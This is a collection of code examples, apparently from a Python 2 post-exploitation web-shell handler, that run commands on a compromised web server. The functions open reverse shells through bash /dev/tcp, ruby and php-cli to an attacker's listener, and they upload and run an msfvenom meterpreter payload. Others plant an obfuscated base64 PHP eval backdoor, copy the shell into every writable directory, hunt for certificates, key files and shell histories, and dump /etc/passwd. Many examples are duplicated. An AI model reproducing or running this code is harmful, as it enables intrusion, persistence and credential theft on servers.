                    if not os.path.exists(folder):
                        os.makedirs(folder)
                elif file_type == 'file':
                    cmd = 'cat {0}'.format(file)
                    try:
                        #with open(os.path.join(lfile_path, file), 'w') as dest_file:  # Didn't like: @download /media/CD /root/
                        with open(lfile_path + file, 'w') as dest_file:
                            dest_file.write(
                                '\n'.join(make_request.get_page_source(cmd)) +
                                '\n')
                    except IOError, e:
                        cprint('\n[!] Error: {0}'.format(e), 'red')
                else:
                    print colored('[!] Coudln\'t download the following file:',
                                  'red'), file
Example #33
0
 def check_fileSum(self, lfile_path, rfile_path):
     lfileSum = Popen('md5sum {0}'.format(lfile_path), shell=True, stdout=PIPE, stderr=PIPE)
     lfileSum = lfileSum.communicate()[0].split()[0]
     cmd = "$(for x in `whereis md5sum`; do file $x | grep ELF | awk '{print $1}' | tr -d ':'; done) %s" % rfile_path
     r = make_request.get_page_source(cmd)
     if r:
         rfileSum = "".join(r).split()[0]
         return lfileSum == rfileSum
     else:
         return False
Example #34
0
 def history(self):
     cmd = 'for i in $(cut -d: -f6 /etc/passwd | sort | uniq); do [ -f $i/.bash_history ] && echo "bash_history: $i"; [ -f $i/.nano_history ] && echo "nano_history: $i"; [ -f $i/.atftp_history ] && echo "atftp_history: $i"; [ -f $i/.mysql_history ] && echo "mysql_history: $i"; [ -f $i/.php_history ] && echo "php_history: $i";done'
     self.history = make_request.get_page_source(cmd)
     if self.history:
         c = 1
         for path in self.history:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
     else:
         cprint('\n[!] Didn\'t find any \'history\' files', 'red')
Example #35
0
 def writable(self):
     cmd = "find {0} -depth -perm -0002 -type d".format(linux.get_doc_root())
     self.writable = make_request.get_page_source(cmd)
     if self.writable:
         c = 1
         for path in self.writable:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
     else:
         cprint('\n[!] Didn\'t find any wriable directories', 'red')
Example #36
0
 def history(self):
     cmd = 'for i in $(cut -d: -f6 /etc/passwd | sort | uniq); do [ -f $i/.bash_history ] && echo "bash_history: $i"; [ -f $i/.nano_history ] && echo "nano_history: $i"; [ -f $i/.atftp_history ] && echo "atftp_history: $i"; [ -f $i/.mysql_history ] && echo "mysql_history: $i"; [ -f $i/.php_history ] && echo "php_history: $i";done'
     history = make_request.get_page_source(cmd)
     if history:
         c = 1
         for path in history:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
     else:
         cprint('\n[!] Didn\'t find any \'history\' files', 'red')
Example #37
0
 def bash(self, ip, port):
     cmd = "for x in `whereis bash`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     bash = make_request.get_page_source(cmd)
     if bash:
         cprint('\n[i] Found bash:')
         c = 1
         for path in bash:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in bash:
             cmd = 'nohup {0} -c \'{0} -i >& /dev/tcp/{1}/{2} 0>&1\' &'.format(path, ip, port)
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
Example #38
0
 def msf(self, ip, port):
     if len(Popen("for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0:
         cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red')
     else:
         cprint('\n[i] Found the metasploit framework:', 'green')
         folder = linux.get_writble_dir()
         if folder:
             filename = ''.join(choice(string.ascii_letters + string.digits) for x in range(8))
             cprint('[+] Filename: \'{0}\''.format(filename), 'green')
             path = '{0}/{1}'.format(folder, filename)
             msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
             msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)'
             msg += colored('\n[?] Press <return> when ready!', 'yellow')
             raw_input(msg.format(ip, port))
             cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green')
             shell = Popen('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64'.format(ip, port), shell=True, stdout=PIPE).stdout.read().strip()
             cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &'.format(shell, path)
             cprint('[+] Sending payload & executing', 'green')
             make_request.get_page_source(cmd)
             cprint('[+] Done!', 'blue')
Example #39
0
    def keys(self):
        cmd = "find / -type f -print0 | xargs -0 -I '{}' bash -c 'openssl x509 -in {} -noout > /dev/null 2>&1; [[ $? == '0' ]] && echo \"{}\"'"
        self.ssl = make_request.get_page_source(cmd)
        if self.ssl:
            c = 1
            for path in self.ssl:
                print '{0:2d}.) {1}'.format(c, path)
                c += 1
        else:
            cprint('\n[!] Didn\'t find any SSL certs', 'red')

        cmd = "find / -type f -print0 | xargs -0 -I '{}' bash -c 'openssl x509 -in {} -noout > /dev/null 2>&1; [[ $? == '0' ]] && echo \"{}\"'"
        self.sshpub = make_request.get_page_source(cmd)
        if self.sshpub:
            c = 1
            for path in self.sshpub:
                print '{0:2d}.) {1}'.format(c, path)
                c += 1
        else:
            cprint('\n[!] Didn\'t find any public SSH keys', 'red')
Example #40
0
 def get_writble_dir(self):
     cmd = "find {0} -perm -0003 -type d 2>/dev/null | sort -R".format(
         self.get_doc_root())  # -print -quit
     result = make_request.get_page_source(cmd)
     if result:
         result = result[0]
         cprint('\n[+] Found a directory to use: \'{0}\''.format(result),
                'green')
     else:
         cprint('\n[!] Unable to find a suitable directory', 'red')
     return result
Example #41
0
    def keys(self):
        cmd = "find / -type f -print0 | xargs -0 -I '{}' bash -c 'openssl x509 -in {} -noout > /dev/null 2>&1; [[ $? == '0' ]] && echo \"{}\"'"
        self.ssl = make_request.get_page_source(cmd)
        if self.ssl:
            c = 1
            for path in self.ssl:
                print '{0:2d}.) {1}'.format(c, path)
                c += 1
        else:
            cprint('\n[!] Didn\'t find any SSL certs', 'red')

        cmd = "find / -type f -print0 | xargs -0 -I '{}' bash -c 'openssl x509 -in {} -noout > /dev/null 2>&1; [[ $? == '0' ]] && echo \"{}\"'"
        self.sshpub = make_request.get_page_source(cmd)
        if self.sshpub:
            c = 1
            for path in self.sshpub:
                print '{0:2d}.) {1}'.format(c, path)
                c += 1
        else:
            cprint('\n[!] Didn\'t find any public SSH keys', 'red')
Example #42
0
 def writable(self):
     cmd = "find {0} -depth -perm -0002 -type d".format(
         linux.get_doc_root())
     self.writable = make_request.get_page_source(cmd)
     if self.writable:
         c = 1
         for path in self.writable:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
     else:
         cprint('\n[!] Didn\'t find any wriable directories', 'red')
Example #43
0
 def msf(self, ip, port):
     if len(Popen("for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0:
         cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red')
     else:
         cprint('\n[i] Found the metasploit framework:', 'green')
         folder = linux.get_writble_dir()
         if folder:
             filename = ''.join(choice(string.ascii_letters + string.digits) for x in range(8))
             cprint('[+] Filename: \'{0}\''.format(filename), 'green')
             path = '{0}/{1}'.format(folder, filename)
             msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
             msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)'
             msg += colored('\n[?] Press <return> when ready!', 'yellow')
             raw_input(msg.format(ip, port))
             cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green')
             shell = Popen('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64'.format(ip, port), shell=True, stdout=PIPE).stdout.read().strip()
             cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &'.format(shell, path)
             cprint('{0}[+] Sending payload & executing', 'green')
             make_request.get_page_source(cmd)
             cprint('[+] Done!', 'blue')
Example #44
0
 def ruby(self, ip, port):
     cmd = "for x in `whereis ruby`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     ruby = make_request.get_page_source(cmd)
     if ruby:
         cprint('\n[i] Found ruby:', 'green')
         c = 1
         for path in ruby:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in ruby:
             cmd = 'nohup {0} -rsocket -e'.format(path)
             cmd += '\'f=TCPSocket.open("{0}",{1}).to_i;'.format(ip, port)
             cmd += 'exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find ruby on the remote system', 'red')
Example #45
0
 def php_cli(self, ip, port):
     cmd = "for x in `whereis php`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     php = make_request.get_page_source(cmd)
     if php:
         cprint('\n[i] Found php-cli:', 'green')
         c = 1
         for path in php:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in php:
             cmd = 'nohup {0} -r '.format(path)
             cmd += '\'$sock=fsockopen("{0}",{1});'.format(ip, port)
             cmd += 'exec("/bin/sh -i <&3 >&3 2>&3");\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find php-cli on the remote system', 'red')
Example #46
0
    def php(self, ip, ourIP):
        wwwroot = linux.get_doc_root()
        cmd = 'find {0} -depth -perm -0002 -type d | sort -R '.format(wwwroot)
        folder = make_request.get_page_source(cmd)
        if folder:
            folder = folder[0]
            cprint('\n[+] Found a writable directory: \'{1}\''.format(folder), 'green')
            filename = '.' + ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) + '.php'
            cprint('[+] Filename: \'{1}\''.format(filename), 'green')
            location = '{0}/{1}'.format(folder, filename)

            cmd = 'find {0} -type f -print'.format(wwwroot)
            files = make_request.get_page_source(cmd)
            cprint('[i] Select a file to \'clone\' (or \'0\' to skip):', 'green')
            cprint(' 0.) Don\'t close - create new', 'green')
            path = []
            c = 0
            for file in files:
                path.append(file)
                c += 1
                cprint('{0:2d}.) {1}'.format(c, file), 'green')
            while True:
                try:
                    clone = int(raw_input(colored('[>] Which file to use? [0-{0}: '.format(c))))
                    if 0 <= clone <= c:
                        break
                except ValueError:
                    pass

            if clone != 0:
                cmd = 'cp -f {0} {1}'.format(path[int(clone) - 1], location)
                make_request.get_page_source(cmd)
            cprint('[+] Creating our \'evil\' file: \'{0}\''.format(location), 'green')
            parameter = ''.join(choice(string.ascii_lowercase) for x in range(6))
            casePayload = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'eval'))))
            caseShell = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'php eval(base64_decode'))))
            payload = "{0}($_GET['{1}'].';');".format(casePayload, parameter)
            payloadEncoded = b64encode(payload).format(payload)
            evilFile = "<?{0}(\"{1}\")); ?>".format(caseShell, payloadEncoded)
            cmd = 'echo \'{0}\' >> \"{1}\"'.format(evilFile, location)
            make_request.get_page_source(cmd)
            cprint('[+] Done!', 'blue')
            uri = folder[len(wwwroot):]

            #>>> '/'.join('https://localhost/html/shell.php'.split('/', 3)[:3])
            #'https://localhost'
            url = '/'.join(getargs.url.split('/', 3)[:3])
            example = """Example:
            curl "{url}{uri}/{filename}?{parameter}=phpinfo()"
            curl "{url}{uri}/{filename}?{parameter}=require(\'/etc/passwd\')"
            curl "{url}{uri}/{filename}?{parameter}=system(\'/sbin/ifconfig\')"
            msfcli exploit/unix/webapp/php_eval RHOST={url} RPORT=80 PHPURI={uri}/{filename}?{parameter}=\!CODE\! PAYLOAD=php/meterpreter/reverse_tcp LHOST={ourIP} LPORT=4444 E""".format(
                    url=url,
                    uri=uri,
                    filename=filename,
                    parameter=parameter,
                    ourIP=ourIP,)
            cprint(example, 'green')
        else:
            cprint('\n[!] Unable to find a writable directory', 'red')
Example #47
0
    def php(self, ip, ourIP):
        wwwroot = linux.get_doc_root()
        cmd = 'find {0} -depth -perm -0002 -type d | sort -R '.format(wwwroot)
        folder = make_request.get_page_source(cmd)
        if folder:
            folder = folder[0]
            cprint('\n[+] Found a writable directory: \'{1}\''.format(folder), 'green')
            filename = '.' + ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) + '.php'
            cprint('[+] Filename: \'{1}\''.format(filename), 'green')
            location = '{0}/{1}'.format(folder, filename)

            cmd = 'find {0} -type f -print'.format(wwwroot)
            files = make_request.get_page_source(cmd)
            cprint('[i] Select a file to \'clone\' (or \'0\' to skip):', 'green')
            cprint(' 0.) Don\'t close - create new', 'green')
            path = []
            c = 0
            for file in files:
                path.append(file)
                c += 1
                cprint('{0:2d}.) {1}'.format(c, file), 'green')
            while True:
                try:
                    clone = int(raw_input(colored('[>] Which file to use? [0-{0}: '.format(c))))
                    if 0 <= clone <= c:
                        break
                except ValueError:
                    pass

            if clone != 0:
                cmd = 'cp -f {0} {1}'.format(path[int(clone) - 1], location)
                make_request.get_page_source(cmd)
            cprint('[+] Creating our \'evil\' file: \'{0}\''.format(location), 'green')
            parameter = ''.join(choice(string.ascii_lowercase) for x in range(6))
            casePayload = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'eval'))))
            caseShell = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'php eval(base64_decode'))))
            payload = "{0}($_GET['{1}'].';');".format(casePayload, parameter)
            payloadEncoded = b64encode(payload).format(payload)
            evilFile = "<?{0}(\"{1}\")); ?>".format(caseShell, payloadEncoded)
            cmd = 'echo \'{0}\' >> \"{1}\"'.format(evilFile, location)
            make_request.get_page_source(cmd)
            cprint('[+] Done!', 'blue')
            uri = folder[len(wwwroot):]

            #>>> '/'.join('https://localhost/html/shell.php'.split('/', 3)[:3])
            #'https://localhost'
            url = '/'.join(getargs.url.split('/', 3)[:3])
            example = """Example:
            curl "{url}{uri}/{filename}?{parameter}=phpinfo()"
            curl "{url}{uri}/{filename}?{parameter}=require(\'/etc/passwd\')"
            curl "{url}{uri}/{filename}?{parameter}=system(\'/sbin/ifconfig\')"
            msfcli exploit/unix/webapp/php_eval RHOST={url} RPORT=80 PHPURI={uri}/{filename}?{parameter}=\!CODE\! PAYLOAD=php/meterpreter/reverse_tcp LHOST={ourIP} LPORT=4444 E""".format(
                    url=url,
                    uri=uri,
                    filename=filename,
                    parameter=parameter,
                    ourIP=ourIP,)
            cprint(example, 'green')
        else:
            cprint('\n[!] Unable to find a writable directory', 'red')
Example #48
0
 def check_fileSum(self, lfile_path, rfile_path):
     lfileSum = Popen('md5sum {0}'.format(lfile_path),
                      shell=True,
                      stdout=PIPE,
                      stderr=PIPE)
     lfileSum = lfileSum.communicate()[0].split()[0]
     cmd = "$(for x in `whereis md5sum`; do file $x | grep ELF | awk '{print $1}' | tr -d ':'; done) %s" % rfile_path
     r = make_request.get_page_source(cmd)
     if r:
         rfileSum = "".join(r).split()[0]
         return lfileSum == rfileSum
     else:
         return False
Example #49
0
 def spread(self):
     provided_shell_name = raw_input(colored('\n[?] Current shell name: ', 'green'))
     shell_name = getargs.url.split('/')[-1] if getargs.method == 'post' else provided_shell_name
     cmd = 'find {0} -depth -perm -0002 -type d | xargs -n 1 cp -v {1}'.format(linux.get_doc_root(), shell_name)
     done = make_request.get_page_source(cmd)
     if done:
         success = '\n[+] {shell_name}{end} already written to {hot}{writable_length} paths'.format(
                 shell_name=shell_name,
                 writable_length=len(done))
         success += '\n[+] To check these paths type @enum writable'
         cprint(success, 'blue')
     else:
         cprint('\n[!] Something went wrong while spreading shell', 'red')
Example #50
0
 def spread(self):
     provided_shell_name = raw_input(colored('\n[?] Current shell name: ', 'green'))
     shell_name = getargs.url.split('/')[-1] if getargs.method == 'post' else provided_shell_name
     cmd = 'find {0} -depth -perm -0002 -type d | xargs -n 1 cp -v {1}'.format(linux.get_doc_root(), shell_name)
     done = make_request.get_page_source(cmd)
     if done:
         success = '\n[+] {shell_name}{end} already written to {hot}{writable_length} paths'.format(
                 shell_name=shell_name,
                 writable_length=len(done))
         success += '\n[+] To check these paths type @enum writable'
         cprint(success, 'blue')
     else:
         cprint('\n[!] Something went wrong while spreading shell', 'red')
Example #51
0
    def get_information(self):
        now = datetime.datetime.now()

        # Call get_page_source() method then assign it to self.source
        source = make_request.get_page_source(self.cmd) if not getargs.banner else []

        source = iter(source)
        self.current_user = next(source, "bash")
        self.current_id = next(source, "host")
        self.kernel_info = next(source, "kernel info")
        self.cwd = next(source, "cwd")
        self.perm_cwd = next(source, "permission")
        self.uptime = next(source, "uptime")
        self.host_ip = next(source, "Host")
        self.hostname = next(source, "hostname")
        self.distrib = next(source, "distrib")
        self.session = now.strftime("%Y-%m-%d")
        if getargs.url:
            self.url = '/'.join(getargs.url.split('/', 3)[:3])
        else:
            self.url = "n/a"

        try:
            # Get the attacker's ip address (Thanks @mandreko)
            request = Request("http://ifconfig.co", headers={"User-Agent" : "curl/7.51.0"})
            self.local_ip = (urlopen(request, timeout=3).read()).strip() if not getargs.banner else 'Unknown'
        except:
            self.local_ip = 'Unknown'

        self.info = '\t' + '-' * int(len(self.kernel_info) + 18) + '\n'
        self.info += colored("\tUser         : "******"\tID           : ", 'red') + colored(self.current_id, 'green') + '\n'
        self.info += colored("\tKernel       : ", 'red') + colored(self.kernel_info, 'green') + '\n'
        self.info += colored("\tCWD          : ", 'red') + colored(self.cwd, 'green') + colored('\t(' + self.perm_cwd + ')', 'yellow', attrs=['bold']) + '\n'
        self.info += colored("\tUptime       : ", 'red') + colored(self.uptime, 'green') + '\n'
        # self.info += colored("\thostname     : ", 'red') + colored(self.hostname, 'green') + '\n'
        self.info += colored("\tTarget's IPs : ", 'red') + colored(self.host_ip, 'green') + '\n'
        self.info += colored("\tOur IP       : ", 'red') + colored(self.local_ip, 'green') + '\n'
        self.info += colored("\tHostname     : ", 'red') + colored(self.hostname, 'green') + colored('\t(' + self.distrib + ')', 'yellow', attrs=['bold']) + '\n'
        self.info += '\t' + '-' * int(len(self.kernel_info) + 18)
        self.info += "\n\n"

        self.info += "\t"+ colored("[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n' \
        if not getargs.banner else ''
        self.info += "\t" + colored("[+] Inserting ! at the begining of the command will execute the command locally (on your box)", 'blue', attrs=['underline', 'bold'])
        self.info += "\n"
        if not getargs.banner:
            return self.info
        else:
            return 'Welcome to WebHandler'
Example #52
0
 def ruby(self, ip, port):
     cmd = "for x in `whereis ruby`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     ruby = make_request.get_page_source(cmd)
     if ruby:
         cprint('\n[i] Found ruby:', 'green')
         c = 1
         for path in ruby:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in ruby:
             cmd = 'nohup {0} -rsocket -e'.format(path)
             cmd += '\'f=TCPSocket.open("{0}",{1}).to_i;'.format(ip, port)
             cmd += 'exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\' &'
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find ruby on the remote system', 'red')
Example #53
0
 def php_cli(self, ip, port):
     cmd = "for x in `whereis php`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     php = make_request.get_page_source(cmd)
     if php:
         cprint('\n[i] Found php-cli:', 'green')
         c = 1
         for path in php:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in php:
             cmd = 'nohup {0} -r '.format(path)
             cmd += '\'$sock=fsockopen("{0}",{1});'.format(ip, port)
             cmd += 'exec("/bin/sh -i <&3 >&3 2>&3");\' &'
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find php-cli on the remote system', 'red')
Example #54
0
    def __init__(self, host, username, password):
        cprint(
            "\n[+] Please type 'exit' when your done to remove the files uploaded on the server"
        )
        self.host = host
        self.username = username
        self.password = password
        self.hostDir = linux.get_writble_dir()
        if not self.hostDir:
            cprint(
                "'\n[+] Unable to locate a writeble directory on the server")
            cprint("\n[+]MySQL module can't be used. Exiting now!")
        else:
            self.phpFile = [
                self.hostDir + "/mysql.php", self.hostDir + "/auth.php"
            ]
            cprint('\n[+] Uploading PHP files...', 'green')
            for i in self.phpFile:
                file_handler.upload_file(
                    'modules/services/{0}'.format(i.split('/')[-1]), i)

            cmd = 'echo "%s,%s,%s" > %s/auth.txt' % (
                self.username, self.password, self.host, self.hostDir)
            cprint('\n[+] Authenticating with the server...', 'blue')
            make_request.get_page_source(cmd)

            cmd = "cd {0}; php {1}".format(self.hostDir, 'auth.php')
            res = make_request.get_page_source(cmd)
            if 'failure' in res:
                cprint(
                    "\n[+] Access denied for user '{0}'@'{1}'".format(
                        self.username, self.host), 'red')
                self.authorized = False
                self.clean()
            else:
                cprint("\n[+]Login Successful", 'green')
                self.authorized = True
Example #55
0
        def write_file(rfile_path):
            "nested function to be used within the file_exists conditions"
            try:
                # open the the file in 'r' mode to upload it
                with open(lfile_path) as local_file:
                    data_to_upload = local_file.read().encode('base64').strip()
                    #split the data then join it to escap special chars and new lines
                    data_to_upload = ''.join(data_to_upload.splitlines())

                def chuncks(seq, length):
                    "split data into chuncks to avoid Error 414"
                    return [seq[i:i + length] for i in xrange(0, len(seq), length)]

                if len(data_to_upload) > 300 and make_request.method != 'post':
                    chuncked_data = chuncks(data_to_upload, 4000)
                    cprint('\n[!] Uploading %s...' % lfile_path, 'green')
                    cprint('[!] The amount of data being uploaded is big, I will chunck it into %d stages.' % len(chuncked_data), 'green')
                    for i in tqdm(range(len(chuncked_data))):
                        # append data to pre-written file using >>
                        data = 'echo {0}| base64 -d >> {1}'.format(chuncked_data[i], rfile_path)
                        make_request.get_page_source(data)
                else:
                    data = 'echo {0}| base64 -d > {1}'.format(data_to_upload, rfile_path)
                    make_request.get_page_source(cmd=data)

                if self.check_fileSum(lfile_path, rfile_path):
                    "if the two files have the same md5sum"
                    cprint('[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path), 'green')
                else:
                    cprint('\n[!] Something went wrong while uploading the file, md5 checksum failed.', 'red')
                    choice = raw_input('[+] Should I keep going? (y/n): [y] ')
                    if choice.lower() == 'n':
                        self.clean(rfile_path)
            # throw an exception when the local file not exists
            except IOError:
                cprint('\n[+] File: "{0}" doesn\'t exist'.format(lfile_path), 'red')
Example #56
0
    def ip(self):
        cmd = "ip addr show | grep inet | awk '{printf \", \" $2}' | sed 's/^, *//' && echo;"
        cmd += "curl http://ifconfig.me/ip;"
        cmd += "cat /etc/resolv.conf | grep nameserver | awk '{printf \", \" $2}' | sed 's/^, *//' && echo;"
        cmd += "/sbin/route -n | awk '{print $2}' | grep -v 0.0.0.0 | grep -v IP | grep -v Gateway | head -n 1;"
        #grep -q "BOOTPROTO=dhcp" /etc/sysconfig/network-scripts/ifcfg-eth0 2>/dev/null
        #grep -q "inet dhcp" /etc/network/interfaces 2>/dev/null
        cmd += 'dhcp_ip=`grep dhcp-server /var/lib/dhcp*/dhclient.* 2>/dev/null | uniq | awk \'{print $4}\' | tr -d ";"`; if [ $dhcp_ip ] ; then echo "Yes ($dhcp_ip)"; else echo "No"; fi;'

        ip = make_request.get_page_source(cmd)

        output = '\n[+] Internal IP/subnet: {0}\n'.format(ip[0])
        output += '[+] External IP: {0}\n'.format(ip[1])
        output += '[+] DNS: {0}\n'.format(ip[2])
        output += '[+] Gateway: {0}\n'.format(ip[3])
        output += '[+] DHCP?: {0}'.format(ip[4])

        cprint(output, 'green')
Example #57
0
    def ip(self):
        cmd = "ip addr show | grep inet | awk '{printf \", \" $2}' | sed 's/^, *//' && echo;"
        cmd += "curl http://ifconfig.me/ip;"
        cmd += "cat /etc/resolv.conf | grep nameserver | awk '{printf \", \" $2}' | sed 's/^, *//' && echo;"
        cmd += "/sbin/route -n | awk '{print $2}' | grep -v 0.0.0.0 | grep -v IP | grep -v Gateway | head -n 1;"
        #grep -q "BOOTPROTO=dhcp" /etc/sysconfig/network-scripts/ifcfg-eth0 2>/dev/null
        #grep -q "inet dhcp" /etc/network/interfaces 2>/dev/null
        cmd += 'dhcp_ip=`grep dhcp-server /var/lib/dhcp*/dhclient.* 2>/dev/null | uniq | awk \'{print $4}\' | tr -d ";"`; if [ $dhcp_ip ] ; then echo "Yes ($dhcp_ip)"; else echo "No"; fi;'

        ip = make_request.get_page_source(cmd)

        output = '\n[+] Internal IP/subnet: {0}\n'.format(ip[0])
        output += '[+] External IP: {0}\n'.format(ip[1])
        output += '[+] DNS: {0}\n'.format(ip[2])
        output += '[+] Gateway: {0}\n'.format(ip[3])
        output += '[+] DHCP?: {0}'.format(ip[4])

        cprint(output, 'green')
Example #58
0
    def passwd(self):
        cmd = 'cat /etc/passwd;'
        users = make_request.get_page_source(cmd)

        header = '{0:17} | {1:11} | {2:7} | {3:8} | {4:35} | {5:28} | {6}'.format(
            "Username",
            "Password",
            "User ID",
            "Group ID",
            "User Info",
            "Home Directory",
            "Shell",
        )
        line = "-" * len(header)

        cprint('[+] Total number of users: {0}'.format(len(users)), 'magenta')

        cprint(line, 'green')
        cprint(header, 'green')
        cprint(line, 'green')
        c = 1
        for user in users:
            uname = user.split(':')[0]
            passwd = user.split(':')[1]
            if passwd == "x":
                passwd = "*In shadow*"
            uid = user.split(':')[2]
            guid = user.split(':')[3]
            uinfo = user.split(':')[4]
            home = user.split(':')[5]
            shell = user.split(':')[6]
            cprint(
                '{0:17} | {1:11} | {2:7} | {3:8} | {4:35} | {5:28} | {6}'.
                format(
                    uname,
                    passwd,
                    uid,
                    guid,
                    uinfo,
                    home,
                    shell,
                ), 'green')
            c += 1
        cprint(line, 'green')
Example #59
0
    def get_information(self):
        now = datetime.datetime.now()

        # Call get_page_source() method then assign it to self.source
        source = make_request.get_page_source(self.cmd)

        def get(seq, index, default='Unknown'):
            try:
                return seq[index]
            except:
                return default

        self.current_user = get(source, 0)
        self.current_id = get(source, 1)
        self.kernel_info = get(source, 2)
        self.cwd = get(source, 3)
        self.perm_cwd = get(source, 4)
        self.uptime = get(source, 5)
        self.host_ip = get(source, 6)
        self.session = now.strftime("%Y-%m-%d")
        self.url = '/'.join(getargs.url.split('/', 3)[:3])
        try:
            # Get the attacker's ip address (Thanks @mandreko)
            self.local_ip = (urlopen('http://ifconfig.me/ip').read()).strip()
        except URLError:
            self.local_ip = 'Unknown'

        self.info = '\t' + '-' * int(len(self.kernel_info) + 16) + '\n'
        self.info += colored("\tUser         : "******"\tID           : ", 'red') + colored(self.current_id, 'green') + '\n'
        self.info += colored("\tKernel       : ", 'red') + colored(self.kernel_info, 'green') + '\n'
        self.info += colored("\tCWD          : ", 'red') + colored(self.cwd, 'green') + colored('\t\t' + self.perm_cwd, 'grey', attrs=['bold']) + '\n'
        self.info += colored("\tUptime       : ", 'red') + colored(self.uptime, 'green') + '\n'
        self.info += colored("\tTarget's IPs : ", 'red') + colored(self.host_ip, 'green') + '\n'
        self.info += colored("\tOur IP       : ", 'red') + colored(self.local_ip, 'green') + '\n'
        self.info += '\t' + '-' * int(len(self.kernel_info) + 16)
        self.info += "\n\n"

        self.info += colored("\t[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n'
        self.info += colored("\t[+] Inserting ! at the begining of the command will execute the command locally (on your box)", 'blue', attrs=['underline', 'bold'])
        self.info += "\n"
        print self.info